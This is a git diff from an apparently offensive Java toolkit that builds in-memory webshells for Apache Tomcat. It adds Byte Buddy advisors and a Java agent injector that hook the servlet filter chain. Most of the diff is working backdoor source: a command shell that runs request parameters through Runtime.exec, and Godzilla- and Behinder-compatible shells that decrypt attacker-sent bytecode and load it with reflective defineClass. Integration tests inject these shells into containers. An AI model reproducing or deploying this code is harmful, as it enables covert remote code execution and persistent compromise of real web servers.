arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity)
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
log.info(logs);
|
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+9
-5
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.TomcatShell;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
import com.reajason.javaweb.memshell.config.Constants;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import com.reajason.javaweb.memshell.TomcatShell;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
@@ -18,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
|||||||
|
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
|
||||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
import static org.hamcrest.MatcherAssert.assertThat;
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
@@ -36,6 +35,8 @@ public class Tomcat9ContainerTest {
|
|||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
|
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -64,7 +65,10 @@ public class Tomcat9ContainerTest {
|
|||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize)
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
|
arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -78,6 +82,6 @@ public class Tomcat9ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,16 +4,21 @@ plugins {
|
|||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
group = 'com.reajason.javaweb'
|
||||||
version = ''
|
version = ''
|
||||||
sourceCompatibility = '1.8'
|
|
||||||
|
java {
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
repositories {
|
repositories {
|
||||||
mavenCentral()
|
mavenCentral()
|
||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
|
implementation project(":memshell")
|
||||||
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
|
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
|
||||||
implementation 'org.springframework:spring-webflux:5.3.24'
|
implementation 'org.springframework:spring-webflux:5.3.24'
|
||||||
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
|
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
|
||||||
|
implementation 'net.bytebuddy:byte-buddy:1.+'
|
||||||
providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
|
providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
|
||||||
providedCompile 'javax.websocket:javax.websocket-api:1.1'
|
providedCompile 'javax.websocket:javax.websocket-api:1.1'
|
||||||
testImplementation platform('org.junit:junit-bom:5.10.0')
|
testImplementation platform('org.junit:junit-bom:5.10.0')
|
||||||
|
|||||||
+71
@@ -0,0 +1,71 @@
|
|||||||
|
package com.reajason.javaweb.memshell.tomcat.behinder;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.ServletRequest;
|
||||||
|
import javax.servlet.ServletResponse;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Base64;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class TomcatFilterChainBehinderAdvisor {
|
||||||
|
public static String pass;
|
||||||
|
public static String headerName;
|
||||||
|
public static String headerValue;
|
||||||
|
|
||||||
|
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||||
|
public static boolean enter(
|
||||||
|
@Advice.Argument(value = 0) ServletRequest req,
|
||||||
|
@Advice.Argument(value = 1) ServletResponse res
|
||||||
|
) {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) req;
|
||||||
|
HttpServletResponse response = (HttpServletResponse) res;
|
||||||
|
try {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||||
|
obj.put("request", request);
|
||||||
|
|
||||||
|
Field field = null;
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
field = clazz.getDeclaredField("response");
|
||||||
|
break;
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (field != null) {
|
||||||
|
field.setAccessible(true);
|
||||||
|
response = (HttpServletResponse) field.get(obj);
|
||||||
|
}
|
||||||
|
obj.put("response", response);
|
||||||
|
obj.put("session", session);
|
||||||
|
session.setAttribute("u", pass);
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||||
|
byte[] bytes = c.doFinal(Base64.getDecoder().decode(req.getReader().readLine()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
|
||||||
|
Object instance = payload.newInstance();
|
||||||
|
instance.equals(obj);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
+40
@@ -0,0 +1,40 @@
|
|||||||
|
package com.reajason.javaweb.memshell.tomcat.command;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import javax.servlet.ServletOutputStream;
|
||||||
|
import javax.servlet.ServletRequest;
|
||||||
|
import javax.servlet.ServletResponse;
|
||||||
|
import java.io.InputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class TomcatFilterChainCommandAdvisor {
|
||||||
|
public static String paramName;
|
||||||
|
|
||||||
|
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||||
|
public static boolean enter(
|
||||||
|
@Advice.Argument(value = 0) ServletRequest request,
|
||||||
|
@Advice.Argument(value = 1) ServletResponse response
|
||||||
|
) {
|
||||||
|
System.out.println(paramName);
|
||||||
|
String cmd = request.getParameter(paramName);
|
||||||
|
try {
|
||||||
|
if (cmd != null) {
|
||||||
|
System.out.println(cmd);
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
+72
@@ -0,0 +1,72 @@
|
|||||||
|
package com.reajason.javaweb.memshell.tomcat.godzilla;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.ServletRequest;
|
||||||
|
import javax.servlet.ServletResponse;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class TomcatFilterChainGodzillaAdvisor {
|
||||||
|
public static String key;
|
||||||
|
public static String pass;
|
||||||
|
public static String md5;
|
||||||
|
public static String headerName;
|
||||||
|
public static String headerValue;
|
||||||
|
|
||||||
|
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||||
|
public static boolean enter(
|
||||||
|
@Advice.Argument(value = 0) ServletRequest req,
|
||||||
|
@Advice.Argument(value = 1) ServletResponse res
|
||||||
|
) {
|
||||||
|
if (!(req instanceof HttpServletRequest)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
HttpServletRequest request = (HttpServletRequest) req;
|
||||||
|
HttpServletResponse response = (HttpServletResponse) res;
|
||||||
|
try {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
String parameter = request.getParameter(pass);
|
||||||
|
byte[] data = Base64.getDecoder().decode(parameter);
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
|
||||||
|
c.init(2, keySpec);
|
||||||
|
data = c.doFinal(data);
|
||||||
|
if (session.getAttribute("payload") == null) {
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||||
|
session.setAttribute("payload", payload);
|
||||||
|
} else {
|
||||||
|
request.setAttribute("parameters", data);
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(request);
|
||||||
|
response.getWriter().write(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
|
||||||
|
c.init(1, keySpec);
|
||||||
|
byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
|
||||||
|
String value = Base64.getEncoder().encodeToString(encryptBytes);
|
||||||
|
response.getWriter().write(value);
|
||||||
|
response.getWriter().write(md5.substring(16));
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
+46
@@ -0,0 +1,46 @@
|
|||||||
|
package com.reajason.javaweb.memshell.tomcat.injector;
|
||||||
|
|
||||||
|
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/28
|
||||||
|
*/
|
||||||
|
public class TomcatFilterChainAgentInjector {
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
System.out.println("MemShell Agent is starting");
|
||||||
|
Class<?> interceptorClass = Class.forName(getClassName());
|
||||||
|
new AgentBuilder.Default()
|
||||||
|
.ignore(ElementMatchers.none())
|
||||||
|
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||||
|
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||||
|
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||||
|
.type(named("org.apache.catalina.core.ApplicationFilterChain"))
|
||||||
|
.transform(
|
||||||
|
(builder, typeDescription, classLoader,
|
||||||
|
module, protectionDomain) ->
|
||||||
|
builder.visit(Advice.to(interceptorClass).on(named("doFilter")))
|
||||||
|
)
|
||||||
|
.installOn(inst);
|
||||||
|
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||||
|
}
|
||||||
|
}
|
||||||
+3
-3
@@ -16,9 +16,9 @@ import java.util.Map;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public BehinderListener() {
|
public BehinderListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandListener implements ServletRequestListener {
|
public class CommandListener implements ServletRequestListener {
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
|
|
||||||
public CommandListener() {
|
public CommandListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-5
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String key = "{{key}}";
|
public static String key;
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String md5 = "{{md5}}";
|
public static String md5;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public GodzillaListener() {
|
public GodzillaListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
@@ -19,9 +19,9 @@ import java.util.Map;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderValve extends ClassLoader implements Valve {
|
public class BehinderValve extends ClassLoader implements Valve {
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
|
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import java.io.InputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandValve implements Valve {
|
public class CommandValve implements Valve {
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
|
|
||||||
|
|||||||
+5
-5
@@ -15,11 +15,11 @@ import java.io.IOException;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaValve extends ClassLoader implements Valve {
|
public class GodzillaValve extends ClassLoader implements Valve {
|
||||||
public String key = "{{key}}";
|
public static String key;
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String md5 = "{{md5}}";
|
public static String md5;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
|
|
||||||
|
|||||||
+3
-3
@@ -16,9 +16,9 @@ import java.util.Map;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public BehinderListener() {
|
public BehinderListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandListener implements ServletRequestListener {
|
public class CommandListener implements ServletRequestListener {
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
|
|
||||||
public CommandListener() {
|
public CommandListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-5
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String key = "{{key}}";
|
public static String key;
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String md5 = "{{md5}}";
|
public static String md5;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public GodzillaListener() {
|
public GodzillaListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
@@ -16,9 +16,9 @@ import java.util.Map;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public BehinderListener() {
|
public BehinderListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandListener implements ServletRequestListener {
|
public class CommandListener implements ServletRequestListener {
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
|
|
||||||
public CommandListener() {
|
public CommandListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-5
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String key = "{{key}}";
|
public static String key;
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String md5 = "{{md5}}";
|
public static String md5;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public GodzillaListener() {
|
public GodzillaListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
@@ -16,9 +16,9 @@ import java.util.Map;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public BehinderListener() {
|
public BehinderListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandListener implements ServletRequestListener {
|
public class CommandListener implements ServletRequestListener {
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
|
|
||||||
public CommandListener() {
|
public CommandListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-5
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String key = "{{key}}";
|
public static String key;
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String md5 = "{{md5}}";
|
public static String md5;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public GodzillaListener() {
|
public GodzillaListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
@@ -16,9 +16,9 @@ import java.util.Map;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderFilter extends ClassLoader implements Filter {
|
public class BehinderFilter extends ClassLoader implements Filter {
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public Class<?> g(byte[] b) {
|
public Class<?> g(byte[] b) {
|
||||||
|
|||||||
+3
-3
@@ -17,9 +17,9 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
public class BehinderServlet extends ClassLoader implements Servlet {
|
public class BehinderServlet extends ClassLoader implements Servlet {
|
||||||
|
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
+3
-3
@@ -19,9 +19,9 @@ import java.util.Map;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderValve extends ClassLoader implements Valve {
|
public class BehinderValve extends ClassLoader implements Valve {
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -11,7 +11,7 @@ import java.io.InputStream;
|
|||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
public class CommandFilter implements Filter {
|
public class CommandFilter implements Filter {
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void init(FilterConfig filterConfig) throws ServletException {
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
|
|||||||
+1
-1
@@ -13,7 +13,7 @@ import java.io.InputStream;
|
|||||||
* @since 2024/12/15
|
* @since 2024/12/15
|
||||||
*/
|
*/
|
||||||
public class CommandServlet extends HttpServlet {
|
public class CommandServlet extends HttpServlet {
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
|||||||
+1
-1
@@ -13,7 +13,7 @@ import java.io.InputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandValve implements Valve {
|
public class CommandValve implements Valve {
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
|
|
||||||
|
|||||||
+5
-5
@@ -13,11 +13,11 @@ import java.io.IOException;
|
|||||||
